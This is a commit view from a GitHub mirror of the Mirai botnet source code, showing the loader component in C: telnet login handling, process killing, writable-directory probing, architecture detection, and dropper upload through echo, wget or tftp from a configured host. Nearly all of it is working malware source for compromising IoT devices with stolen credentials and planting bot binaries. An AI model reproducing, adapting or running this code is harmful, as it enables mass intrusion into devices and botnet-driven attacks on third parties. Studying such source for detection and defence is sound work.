1
0
mirror of https://github.com/jgamblin/Mirai-Source-Code synced 2025-11-02 00:23:00 +00:00

Trying to Shrink Size

This commit is contained in:
Jerry Gamblin
2016-10-25 06:08:01 -05:00
commit 9779d43964
77 changed files with 12237 additions and 0 deletions

BIN
loader/bins/dlr.arm Executable file

Binary file not shown.

BIN
loader/bins/dlr.arm7 Executable file

Binary file not shown.

BIN
loader/bins/dlr.m68k Executable file

Binary file not shown.

BIN
loader/bins/dlr.mips Executable file

Binary file not shown.

BIN
loader/bins/dlr.mpsl Executable file

Binary file not shown.

BIN
loader/bins/dlr.ppc Executable file

Binary file not shown.

BIN
loader/bins/dlr.sh4 Executable file

Binary file not shown.

BIN
loader/bins/dlr.spc Executable file

Binary file not shown.

BIN
loader/bins/dlr.x86 Executable file

Binary file not shown.

2
loader/build.debug.sh Executable file
View File

@@ -0,0 +1,2 @@
#!/bin/bash
gcc -lefence -g -DDEBUG -static -lpthread -pthread -O3 src/*.c -o loader.dbg

2
loader/build.sh Executable file
View File

@@ -0,0 +1,2 @@
#!/bin/bash
gcc -static -O3 -lpthread -pthread src/*.c -o loader

83
loader/src/binary.c Executable file
View File

@@ -0,0 +1,83 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <glob.h>
#include "headers/includes.h"
#include "headers/binary.h"
static int bin_list_len = 0;
static struct binary **bin_list = NULL;
BOOL binary_init(void)
{
glob_t pglob;
int i;
if (glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0)
{
printf("Failed to load from bins folder!\n");
return;
}
for (i = 0; i < pglob.gl_pathc; i++)
{
char file_name[256];
struct binary *bin;
bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof (struct binary *));
bin_list[bin_list_len] = calloc(1, sizeof (struct binary));
bin = bin_list[bin_list_len++];
#ifdef DEBUG
printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]);
#endif
strcpy(file_name, pglob.gl_pathv[i]);
strtok(file_name, ".");
strcpy(bin->arch, strtok(NULL, "."));
load(bin, pglob.gl_pathv[i]);
}
globfree(&pglob);
return TRUE;
}
struct binary *binary_get_by_arch(char *arch)
{
int i;
for (i = 0; i < bin_list_len; i++)
{
if (strcmp(arch, bin_list[i]->arch) == 0)
return bin_list[i];
}
return NULL;
}
static BOOL load(struct binary *bin, char *fname)
{
FILE *file;
char rdbuf[BINARY_BYTES_PER_ECHOLINE];
int n;
if ((file = fopen(fname, "r")) == NULL)
{
printf("Failed to open %s for parsing\n", fname);
return FALSE;
}
while ((n = fread(rdbuf, sizeof (char), BINARY_BYTES_PER_ECHOLINE, file)) != 0)
{
char *ptr;
int i;
bin->hex_payloads = realloc(bin->hex_payloads, (bin->hex_payloads_len + 1) * sizeof (char *));
bin->hex_payloads[bin->hex_payloads_len] = calloc(sizeof (char), (4 * n) + 8);
ptr = bin->hex_payloads[bin->hex_payloads_len++];
for (i = 0; i < n; i++)
ptr += sprintf(ptr, "\\x%02x", (uint8_t)rdbuf[i]);
}
return FALSE;
}

657
loader/src/connection.c Executable file
View File

@@ -0,0 +1,657 @@
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include "headers/includes.h"
#include "headers/connection.h"
#include "headers/server.h"
#include "headers/binary.h"
#include "headers/util.h"
void connection_open(struct connection *conn)
{
pthread_mutex_lock(&conn->lock);
conn->rdbuf_pos = 0;
conn->last_recv = time(NULL);
conn->timeout = 10;
conn->echo_load_pos = 0;
conn->state_telnet = TELNET_CONNECTING;
conn->success = FALSE;
conn->open = TRUE;
conn->bin = NULL;
conn->echo_load_pos = 0;
#ifdef DEBUG
printf("[FD%d] Called connection_open\n", conn->fd);
#endif
pthread_mutex_unlock(&conn->lock);
}
void connection_close(struct connection *conn)
{
pthread_mutex_lock(&conn->lock);
if (conn->open)
{
#ifdef DEBUG
printf("[FD%d] Shut down connection\n", conn->fd);
#endif
memset(conn->output_buffer.data, 0, sizeof(conn->output_buffer.data));
conn->output_buffer.deadline = 0;
conn->last_recv = 0;
conn->open = FALSE;
conn->retry_bin = FALSE;
conn->ctrlc_retry = FALSE;
memset(conn->rdbuf, 0, sizeof(conn->rdbuf));
conn->rdbuf_pos = 0;
if (conn->srv == NULL)
{
printf("srv == NULL\n");
return;
}
if (conn->success)
{
ATOMIC_INC(&conn->srv->total_successes);
fprintf(stderr, "OK|%d.%d.%d.%d:%d %s:%s %s\n",
conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff,
ntohs(conn->info.port),
conn->info.user, conn->info.pass, conn->info.arch);
}
else
{
ATOMIC_INC(&conn->srv->total_failures);
fprintf(stderr, "ERR|%d.%d.%d.%d:%d %s:%s %s|%d\n",
conn->info.addr & 0xff, (conn->info.addr >> 8) & 0xff, (conn->info.addr >> 16) & 0xff, (conn->info.addr >> 24) & 0xff,
ntohs(conn->info.port),
conn->info.user, conn->info.pass, conn->info.arch,
conn->state_telnet);
}
}
conn->state_telnet = TELNET_CLOSED;
if (conn->fd != -1)
{
close(conn->fd);
conn->fd = -1;
ATOMIC_DEC(&conn->srv->curr_open);
}
pthread_mutex_unlock(&conn->lock);
}
int connection_consume_iacs(struct connection *conn)
{
int consumed = 0;
uint8_t *ptr = conn->rdbuf;
while (consumed < conn->rdbuf_pos)
{
int i;
if (*ptr != 0xff)
break;
else if (*ptr == 0xff)
{
if (!can_consume(conn, ptr, 1))
break;
if (ptr[1] == 0xff)
{
ptr += 2;
consumed += 2;
continue;
}
else if (ptr[1] == 0xfd)
{
uint8_t tmp1[3] = {255, 251, 31};
uint8_t tmp2[9] = {255, 250, 31, 0, 80, 0, 24, 255, 240};
if (!can_consume(conn, ptr, 2))
break;
if (ptr[2] != 31)
goto iac_wont;
ptr += 3;
consumed += 3;
send(conn->fd, tmp1, 3, MSG_NOSIGNAL);
send(conn->fd, tmp2, 9, MSG_NOSIGNAL);
}
else
{
iac_wont:
if (!can_consume(conn, ptr, 2))
break;
for (i = 0; i < 3; i++)
{
if (ptr[i] == 0xfd)
ptr[i] = 0xfc;
else if (ptr[i] == 0xfb)
ptr[i] = 0xfd;
}
send(conn->fd, ptr, 3, MSG_NOSIGNAL);
ptr += 3;
consumed += 3;
}
}
}
return consumed;
}
int connection_consume_login_prompt(struct connection *conn)
{
char *pch;
int i, prompt_ending = -1;
for (i = conn->rdbuf_pos; i >= 0; i--)
{
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
{
#ifdef DEBUG
printf("matched login prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf);
#endif
prompt_ending = i;
break;
}
}
if (prompt_ending == -1)
{
int tmp;
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ogin", 4)) != -1)
prompt_ending = tmp;
else if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "enter", 5)) != -1)
prompt_ending = tmp;
}
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
int connection_consume_password_prompt(struct connection *conn)
{
char *pch;
int i, prompt_ending = -1;
for (i = conn->rdbuf_pos; i >= 0; i--)
{
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
{
#ifdef DEBUG
printf("matched password prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf);
#endif
prompt_ending = i;
break;
}
}
if (prompt_ending == -1)
{
int tmp;
if ((tmp = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "assword", 7)) != -1)
prompt_ending = tmp;
}
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
int connection_consume_prompt(struct connection *conn)
{
char *pch;
int i, prompt_ending = -1;
for (i = conn->rdbuf_pos; i >= 0; i--)
{
if (conn->rdbuf[i] == ':' || conn->rdbuf[i] == '>' || conn->rdbuf[i] == '$' || conn->rdbuf[i] == '#' || conn->rdbuf[i] == '%')
{
#ifdef DEBUG
printf("matched any prompt at %d, \"%c\", \"%s\"\n", i, conn->rdbuf[i], conn->rdbuf);
#endif
prompt_ending = i;
break;
}
}
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
int connection_consume_verify_login(struct connection *conn)
{
int prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (prompt_ending == -1)
return 0;
else
return prompt_ending;
}
int connection_consume_psoutput(struct connection *conn)
{
int offset;
char *start = conn->rdbuf;
int i, ii;
offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
for (i = 0; i < (offset == -1 ? conn->rdbuf_pos : offset); i++)
{
if (conn->rdbuf[i] == '\r')
conn->rdbuf[i] = 0;
else if (conn->rdbuf[i] == '\n')
{
uint8_t option_on = 0;
BOOL last_character_was_space = FALSE;
char *pid_str = NULL, *proc_name = NULL;
conn->rdbuf[i] = 0;
for (ii = 0; ii < ((char *)&conn->rdbuf[i] - start); ii++)
{
if (start[ii] == ' ' || start[ii] == '\t' || start[ii] == 0)
{
if (option_on > 0 && !last_character_was_space)
option_on++;
start[ii] = 0;
last_character_was_space = TRUE;
}
else
{
if (option_on == 0)
{
pid_str = &start[ii];
option_on++;
}
else if (option_on >= 3 && option_on <= 5 && last_character_was_space)
{
proc_name = &start[ii];
}
last_character_was_space = FALSE;
}
}
if (pid_str != NULL && proc_name != NULL)
{
int pid = atoi(pid_str);
int len_proc_name = strlen(proc_name);
#ifdef DEBUG
printf("pid: %d, proc_name: %s\n", pid, proc_name);
#endif
if (pid != 1 && (strcmp(proc_name, "init") == 0 || strcmp(proc_name, "[init]") == 0)) // Kill the second init
util_sockprintf(conn->fd, "/bin/busybox kill -9 %d\r\n", pid);
else if (pid > 400)
{
int num_count = 0;
int num_alphas = 0;
for (ii = 0; ii < len_proc_name; ii++)
{
if (proc_name[ii] >= '0' && proc_name[ii] <= '9')
num_count++;
else if ((proc_name[ii] >= 'a' && proc_name[ii] <= 'z') || (proc_name[ii] >= 'A' && proc_name[ii] <= 'Z'))
{
num_alphas++;
break;
}
}
if (num_alphas == 0 && num_count > 0)
{
//util_sockprintf(conn->fd, "/bin/busybox cat /proc/%d/environ", pid); // lol
#ifdef DEBUG
printf("Killing suspicious process (pid=%d, name=%s)\n", pid, proc_name);
#endif
util_sockprintf(conn->fd, "/bin/busybox kill -9 %d\r\n", pid);
}
}
}
start = conn->rdbuf + i + 1;
}
}
if (offset == -1)
{
if (conn->rdbuf_pos > 7168)
{
memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144);
conn->rdbuf_pos -= 6144;
}
return 0;
}
else
{
for (i = 0; i < conn->rdbuf_pos; i++)
{
if (conn->rdbuf[i] == 0)
conn->rdbuf[i] = ' ';
}
return offset;
}
}
int connection_consume_mounts(struct connection *conn)
{
char linebuf[256];
int linebuf_pos = 0, num_whitespaces = 0;
int i, prompt_ending = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (prompt_ending == -1)
return 0;
for (i = 0; i < prompt_ending; i++)
{
if (linebuf_pos == sizeof(linebuf) - 1)
{
// why are we here
break;
}
if (conn->rdbuf[i] == '\n')
{
char *path, *mnt_info;
linebuf[linebuf_pos++] = 0;
strtok(linebuf, " "); // Skip name of partition
if ((path = strtok(NULL, " ")) == NULL)
goto dirs_end_line;
if (strtok(NULL, " ") == NULL) // Skip type of partition
goto dirs_end_line;
if ((mnt_info = strtok(NULL, " ")) == NULL)
goto dirs_end_line;
if (path[strlen(path) - 1] == '/')
path[strlen(path) - 1] = 0;
if (util_memsearch(mnt_info, strlen(mnt_info), "rw", 2) != -1)
{
util_sockprintf(conn->fd, "/bin/busybox echo -e '%s%s' > %s/.nippon; /bin/busybox cat %s/.nippon; /bin/busybox rm %s/.nippon\r\n",
VERIFY_STRING_HEX, path, path, path, path, path);
}
dirs_end_line:
linebuf_pos = 0;
}
else if (conn->rdbuf[i] == ' ' || conn->rdbuf[i] == '\t')
{
if (num_whitespaces++ == 0)
linebuf[linebuf_pos++] = conn->rdbuf[i];
}
else if (conn->rdbuf[i] != '\r')
{
num_whitespaces = 0;
linebuf[linebuf_pos++] = conn->rdbuf[i];
}
}
util_sockprintf(conn->fd, "/bin/busybox echo -e '%s/dev' > /dev/.nippon; /bin/busybox cat /dev/.nippon; /bin/busybox rm /dev/.nippon\r\n",
VERIFY_STRING_HEX);
util_sockprintf(conn->fd, TOKEN_QUERY "\r\n");
return prompt_ending;
}
int connection_consume_written_dirs(struct connection *conn)
{
int end_pos, i, offset, total_offset = 0;
BOOL found_writeable = FALSE;
if ((end_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) == -1)
return 0;
while (TRUE)
{
char *pch;
int pch_len;
offset = util_memsearch(conn->rdbuf + total_offset, end_pos - total_offset, VERIFY_STRING_CHECK, strlen(VERIFY_STRING_CHECK));
if (offset == -1)
break;
total_offset += offset;
pch = strtok(conn->rdbuf + total_offset, "\n");
if (pch == NULL)
continue;
pch_len = strlen(pch);
if (pch[pch_len - 1] == '\r')
pch[pch_len - 1] = 0;
util_sockprintf(conn->fd, "rm %s/.t; rm %s/.sh; rm %s/.human\r\n", pch, pch, pch);
if (!found_writeable)
{
if (pch_len < 31)
{
strcpy(conn->info.writedir, pch);
found_writeable = TRUE;
}
else
connection_close(conn);
}
}
return end_pos;
}
int connection_consume_copy_op(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
return offset;
}
int connection_consume_arch(struct connection *conn)
{
if (!conn->info.has_arch)
{
struct elf_hdr *ehdr;
int elf_start_pos;
if ((elf_start_pos = util_memsearch(conn->rdbuf, conn->rdbuf_pos, "ELF", 3)) == -1)
return 0;
elf_start_pos -= 4; // Go back ELF
ehdr = (struct elf_hdr *)(conn->rdbuf + elf_start_pos);
conn->info.has_arch = TRUE;
switch (ehdr->e_ident[EI_DATA])
{
case EE_NONE:
return 0;
case EE_BIG:
#ifdef LOADER_LITTLE_ENDIAN
ehdr->e_machine = htons(ehdr->e_machine);
#endif
break;
case EE_LITTLE:
#ifdef LOADER_BIG_ENDIAN
ehdr->e_machine = htons(ehdr->e_machine);
#endif
break;
}
/* arm mpsl spc m68k ppc x86 mips sh4 */
if (ehdr->e_machine == EM_ARM || ehdr->e_machine == EM_AARCH64)
strcpy(conn->info.arch, "arm");
else if (ehdr->e_machine == EM_MIPS || ehdr->e_machine == EM_MIPS_RS3_LE)
{
if (ehdr->e_ident[EI_DATA] == EE_LITTLE)
strcpy(conn->info.arch, "mpsl");
else
strcpy(conn->info.arch, "mips");
}
else if (ehdr->e_machine == EM_386 || ehdr->e_machine == EM_486 || ehdr->e_machine == EM_860 || ehdr->e_machine == EM_X86_64)
strcpy(conn->info.arch, "x86");
else if (ehdr->e_machine == EM_SPARC || ehdr->e_machine == EM_SPARC32PLUS || ehdr->e_machine == EM_SPARCV9)
strcpy(conn->info.arch, "spc");
else if (ehdr->e_machine == EM_68K || ehdr->e_machine == EM_88K)
strcpy(conn->info.arch, "m68k");
else if (ehdr->e_machine == EM_PPC || ehdr->e_machine == EM_PPC64)
strcpy(conn->info.arch, "ppc");
else if (ehdr->e_machine == EM_SH)
strcpy(conn->info.arch, "sh4");
else
{
conn->info.arch[0] = 0;
connection_close(conn);
}
}
else
{
int offset;
if ((offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE))) != -1)
return offset;
if (conn->rdbuf_pos > 7168)
{
// Hack drain buffer
memmove(conn->rdbuf, conn->rdbuf + 6144, conn->rdbuf_pos - 6144);
conn->rdbuf_pos -= 6144;
}
}
return 0;
}
int connection_consume_arm_subtype(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
if (util_memsearch(conn->rdbuf, offset, "ARMv7", 5) != -1 || util_memsearch(conn->rdbuf, offset, "ARMv6", 5) != -1)
{
#ifdef DEBUG
printf("[FD%d] Arch has ARMv7!\n", conn->fd);
#endif
strcpy(conn->info.arch, "arm7");
}
return offset;
}
int connection_consume_upload_methods(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
if (util_memsearch(conn->rdbuf, offset, "wget: applet not found", 22) == -1)
conn->info.upload_method = UPLOAD_WGET;
else if (util_memsearch(conn->rdbuf, offset, "tftp: applet not found", 22) == -1)
conn->info.upload_method = UPLOAD_TFTP;
else
conn->info.upload_method = UPLOAD_ECHO;
return offset;
}
int connection_upload_echo(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
if (conn->bin == NULL)
{
connection_close(conn);
return 0;
}
if (conn->echo_load_pos == conn->bin->hex_payloads_len)
return offset;
// echo -ne 'hex' [>]> path/FN_DROPPER
util_sockprintf(conn->fd, "echo -ne '%s' %s " FN_DROPPER "; " TOKEN_QUERY "\r\n",
conn->bin->hex_payloads[conn->echo_load_pos], (conn->echo_load_pos == 0) ? ">" : ">>");
conn->echo_load_pos++;
// Hack drain
memmove(conn->rdbuf, conn->rdbuf + offset, conn->rdbuf_pos - offset);
conn->rdbuf_pos -= offset;
return 0;
}
int connection_upload_wget(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
return offset;
}
int connection_upload_tftp(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
if (util_memsearch(conn->rdbuf, offset, "Permission denied", 17) != -1)
return offset * -1;
if (util_memsearch(conn->rdbuf, offset, "timeout", 7) != -1)
return offset * -1;
if (util_memsearch(conn->rdbuf, offset, "illegal option", 14) != -1)
return offset * -1;
return offset;
}
int connection_verify_payload(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, EXEC_RESPONSE, strlen(EXEC_RESPONSE));
if (offset == -1)
return 0;
if (util_memsearch(conn->rdbuf, offset, "listening tun0", 14) == -1)
return offset;
else
return 255 + offset;
}
int connection_consume_cleanup(struct connection *conn)
{
int offset = util_memsearch(conn->rdbuf, conn->rdbuf_pos, TOKEN_RESPONSE, strlen(TOKEN_RESPONSE));
if (offset == -1)
return 0;
return offset;
}
static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount)
{
uint8_t *end = conn->rdbuf + conn->rdbuf_pos;
return ptr + amount < end;
}

16
loader/src/headers/binary.h Executable file
View File

@@ -0,0 +1,16 @@
#pragma once
#include "includes.h"
#define BINARY_BYTES_PER_ECHOLINE 128
struct binary {
char arch[6];
int hex_payloads_len;
char **hex_payloads;
};
BOOL binary_init(void);
struct binary *binary_get_by_arch(char *arch);
static BOOL load(struct binary *bin, char *fname);

67
loader/src/headers/connection.h Executable file
View File

@@ -0,0 +1,67 @@
#pragma once
#include <time.h>
#include <pthread.h>
#include "includes.h"
#include "telnet_info.h"
struct connection {
pthread_mutex_t lock;
struct server *srv;
struct binary *bin;
struct telnet_info info;
int fd, echo_load_pos;
time_t last_recv;
enum {
TELNET_CLOSED, // 0
TELNET_CONNECTING, // 1
TELNET_READ_IACS, // 2
TELNET_USER_PROMPT, // 3
TELNET_PASS_PROMPT, // 4
TELNET_WAITPASS_PROMPT, // 5
TELNET_CHECK_LOGIN, // 6
TELNET_VERIFY_LOGIN, // 7
TELNET_PARSE_PS, // 8
TELNET_PARSE_MOUNTS, // 9
TELNET_READ_WRITEABLE, // 10
TELNET_COPY_ECHO, // 11
TELNET_DETECT_ARCH, // 12
TELNET_ARM_SUBTYPE, // 13
TELNET_UPLOAD_METHODS, // 14
TELNET_UPLOAD_ECHO, // 15
TELNET_UPLOAD_WGET, // 16
TELNET_UPLOAD_TFTP, // 17
TELNET_RUN_BINARY, // 18
TELNET_CLEANUP // 19
} state_telnet;
struct {
char data[512];
int deadline;
} output_buffer;
uint16_t rdbuf_pos, timeout;
BOOL open, success, retry_bin, ctrlc_retry;
uint8_t rdbuf[8192];
};
void connection_open(struct connection *conn);
void connection_close(struct connection *conn);
int connection_consume_iacs(struct connection *conn);
int connection_consume_login_prompt(struct connection *conn);
int connection_consume_password_prompt(struct connection *conn);
int connection_consume_prompt(struct connection *conn);
int connection_consume_verify_login(struct connection *conn);
int connection_consume_psoutput(struct connection *conn);
int connection_consume_mounts(struct connection *conn);
int connection_consume_written_dirs(struct connection *conn);
int connection_consume_copy_op(struct connection *conn);
int connection_consume_arch(struct connection *conn);
int connection_consume_arm_subtype(struct connection *conn);
int connection_consume_upload_methods(struct connection *conn);
int connection_upload_echo(struct connection *conn);
int connection_upload_wget(struct connection *conn);
int connection_upload_tftp(struct connection *conn);
int connection_verify_payload(struct connection *conn);
int connection_consume_cleanup(struct connection *conn);
static BOOL can_consume(struct connection *conn, uint8_t *ptr, int amount);

36
loader/src/headers/includes.h Executable file
View File

@@ -0,0 +1,36 @@
#pragma once
#include <stdint.h>
#define STDIN 0
#define STDOUT 1
#define STDERR 2
#define FALSE 0
#define TRUE 1
typedef char BOOL;
typedef uint32_t ipv4_t;
typedef uint16_t port_t;
#define LOADER_LITTLE_ENDIAN
#define ATOMIC_ADD(ptr,i) __sync_fetch_and_add((ptr),i)
#define ATOMIC_SUB(ptr,i) __sync_fetch_and_sub((ptr),i)
#define ATOMIC_INC(ptr) ATOMIC_ADD((ptr),1)
#define ATOMIC_DEC(ptr) ATOMIC_SUB((ptr),1)
#define ATOMIC_GET(ptr) ATOMIC_ADD((ptr),0)
#define VERIFY_STRING_HEX "\\x6b\\x61\\x6d\\x69"
#define VERIFY_STRING_CHECK "kami"
#define TOKEN_QUERY "/bin/busybox ECCHI"
#define TOKEN_RESPONSE "ECCHI: applet not found"
#define EXEC_QUERY "/bin/busybox IHCCE"
#define EXEC_RESPONSE "IHCCE: applet not found"
#define FN_DROPPER "upnp"
#define FN_BINARY "dvrHelper"
extern char *id_tag;

38
loader/src/headers/server.h Executable file
View File

@@ -0,0 +1,38 @@
#pragma once
#include <sys/epoll.h>
#include "includes.h"
#include "telnet_info.h"
#include "connection.h"
struct server {
uint32_t max_open;
volatile uint32_t curr_open;
volatile uint32_t total_input, total_logins, total_echoes, total_wgets, total_tftps, total_successes, total_failures;
char *wget_host_ip, *tftp_host_ip;
struct server_worker *workers;
struct connection **estab_conns;
ipv4_t *bind_addrs;
pthread_t to_thrd;
port_t wget_host_port;
uint8_t workers_len, bind_addrs_len;
int curr_worker_child;
};
struct server_worker {
struct server *srv;
int efd; // We create a separate epoll context per thread so thread safety isn't our problem
pthread_t thread;
uint8_t thread_id;
};
struct server *server_create(uint8_t threads, uint8_t addr_len, ipv4_t *addrs, uint32_t max_open, char *wghip, port_t wghp, char *thip);
void server_destroy(struct server *srv);
void server_queue_telnet(struct server *srv, struct telnet_info *info);
void server_telnet_probe(struct server *srv, struct telnet_info *info);
static void bind_core(int core);
static void *worker(void *arg);
static void handle_output_buffers(struct server_worker *);
static void handle_event(struct server_worker *wrker, struct epoll_event *ev);
static void *timeout_thread(void *);

View File

@@ -0,0 +1,18 @@
#pragma once
#include "includes.h"
struct telnet_info {
char user[32], pass[32], arch[6], writedir[32];
ipv4_t addr;
port_t port;
enum {
UPLOAD_ECHO,
UPLOAD_WGET,
UPLOAD_TFTP
} upload_method;
BOOL has_auth, has_arch;
};
struct telnet_info *telnet_info_new(char *user, char *pass, char *arch, ipv4_t addr, port_t port, struct telnet_info *info);
struct telnet_info *telnet_info_parse(char *str, struct telnet_info *out);

72
loader/src/headers/util.h Executable file
View File

@@ -0,0 +1,72 @@
#pragma once
#include "server.h"
#include "includes.h"
#define BUFFER_SIZE 4096
#define EI_NIDENT 16 // Side of e_ident in elf header
#define EI_DATA 5 // Offset endianness in e_ident
#define EE_NONE 0 // No endianness ????
#define EE_LITTLE 1 // Little endian
#define EE_BIG 2 // Big endian
#define ET_NOFILE 0 // None
#define ET_REL 1 // Relocatable file
#define ET_EXEC 2 // Executable file
#define ET_DYN 3 // Shared object file
#define ET_CORE 4 // Core file
/* These constants define the various ELF target machines */
#define EM_NONE 0
#define EM_M32 1
#define EM_SPARC 2
#define EM_386 3
#define EM_68K 4 // m68k
#define EM_88K 5 // m68k
#define EM_486 6 // x86
#define EM_860 7 // Unknown
#define EM_MIPS 8 /* MIPS R3000 (officially, big-endian only) */
/* Next two are historical and binaries and
modules of these types will be rejected by
Linux. */
#define EM_MIPS_RS3_LE 10 /* MIPS R3000 little-endian */
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 big-endian */
#define EM_PARISC 15 /* HPPA */
#define EM_SPARC32PLUS 18 /* Sun's "v8plus" */
#define EM_PPC 20 /* PowerPC */
#define EM_PPC64 21 /* PowerPC64 */
#define EM_SPU 23 /* Cell BE SPU */
#define EM_ARM 40 /* ARM 32 bit */
#define EM_SH 42 /* SuperH */
#define EM_SPARCV9 43 /* SPARC v9 64-bit */
#define EM_H8_300 46 /* Renesas H8/300 */
#define EM_IA_64 50 /* HP/Intel IA-64 */
#define EM_X86_64 62 /* AMD x86-64 */
#define EM_S390 22 /* IBM S/390 */
#define EM_CRIS 76 /* Axis Communications 32-bit embedded processor */
#define EM_M32R 88 /* Renesas M32R */
#define EM_MN10300 89 /* Panasonic/MEI MN10300, AM33 */
#define EM_OPENRISC 92 /* OpenRISC 32-bit embedded processor */
#define EM_BLACKFIN 106 /* ADI Blackfin Processor */
#define EM_ALTERA_NIOS2 113 /* Altera Nios II soft-core processor */
#define EM_TI_C6000 140 /* TI C6X DSPs */
#define EM_AARCH64 183 /* ARM 64 bit */
#define EM_TILEPRO 188 /* Tilera TILEPro */
#define EM_MICROBLAZE 189 /* Xilinx MicroBlaze */
#define EM_TILEGX 191 /* Tilera TILE-Gx */
#define EM_FRV 0x5441 /* Fujitsu FR-V */
#define EM_AVR32 0x18ad /* Atmel AVR32 */
struct elf_hdr {
uint8_t e_ident[EI_NIDENT];
uint16_t e_type, e_machine;
uint32_t e_version;
} __attribute__((packed));
int util_socket_and_bind(struct server *srv);
int util_memsearch(char *buf, int buf_len, char *mem, int mem_len);
BOOL util_sockprintf(int fd, const char *fmt, ...);
char *util_trim(char *str);

115
loader/src/main.c Executable file
View File

@@ -0,0 +1,115 @@
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <errno.h>
#include "headers/includes.h"
#include "headers/server.h"
#include "headers/telnet_info.h"
#include "headers/binary.h"
#include "headers/util.h"
static void *stats_thread(void *);
static struct server *srv;
char *id_tag = "telnet";
int main(int argc, char **args)
{
pthread_t stats_thrd;
uint8_t addrs_len;
ipv4_t *addrs;
uint32_t total = 0;
struct telnet_info info;
#ifdef DEBUG
addrs_len = 1;
addrs = calloc(4, sizeof (ipv4_t));
addrs[0] = inet_addr("0.0.0.0");
#else
addrs_len = 2;
addrs = calloc(addrs_len, sizeof (ipv4_t));
addrs[0] = inet_addr("192.168.0.1"); // Address to bind to
addrs[1] = inet_addr("192.168.1.1"); // Address to bind to
#endif
if (argc == 2)
{
id_tag = args[1];
}
if (!binary_init())
{
printf("Failed to load bins/dlr.* as dropper\n");
return 1;
}
/* wget address tftp address */
if ((srv = server_create(sysconf(_SC_NPROCESSORS_ONLN), addrs_len, addrs, 1024 * 64, "100.200.100.100", 80, "100.200.100.100")) == NULL)
{
printf("Failed to initialize server. Aborting\n");
return 1;
}
pthread_create(&stats_thrd, NULL, stats_thread, NULL);
// Read from stdin
while (TRUE)
{
char strbuf[1024];
if (fgets(strbuf, sizeof (strbuf), stdin) == NULL)
break;
util_trim(strbuf);
if (strlen(strbuf) == 0)
{
usleep(10000);
continue;
}
memset(&info, 0, sizeof(struct telnet_info));
if (telnet_info_parse(strbuf, &info) == NULL)
printf("Failed to parse telnet info: \"%s\" Format -> ip:port user:pass arch\n", strbuf);
else
{
if (srv == NULL)
printf("srv == NULL 2\n");
server_queue_telnet(srv, &info);
if (total++ % 1000 == 0)
sleep(1);
}
ATOMIC_INC(&srv->total_input);
}
printf("Hit end of input.\n");
while(ATOMIC_GET(&srv->curr_open) > 0)
sleep(1);
return 0;
}
static void *stats_thread(void *arg)
{
uint32_t seconds = 0;
while (TRUE)
{
#ifndef DEBUG
printf("%ds\tProcessed: %d\tConns: %d\tLogins: %d\tRan: %d\tEchoes:%d Wgets: %d, TFTPs: %d\n",
seconds++, ATOMIC_GET(&srv->total_input), ATOMIC_GET(&srv->curr_open), ATOMIC_GET(&srv->total_logins), ATOMIC_GET(&srv->total_successes),
ATOMIC_GET(&srv->total_echoes), ATOMIC_GET(&srv->total_wgets), ATOMIC_GET(&srv->total_tftps));
#endif
fflush(stdout);
sleep(1);
}
}

640
loader/src/server.c Executable file
View File

@@ -0,0 +1,640 @@
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/epoll.h>
#include <sys/socket.h>
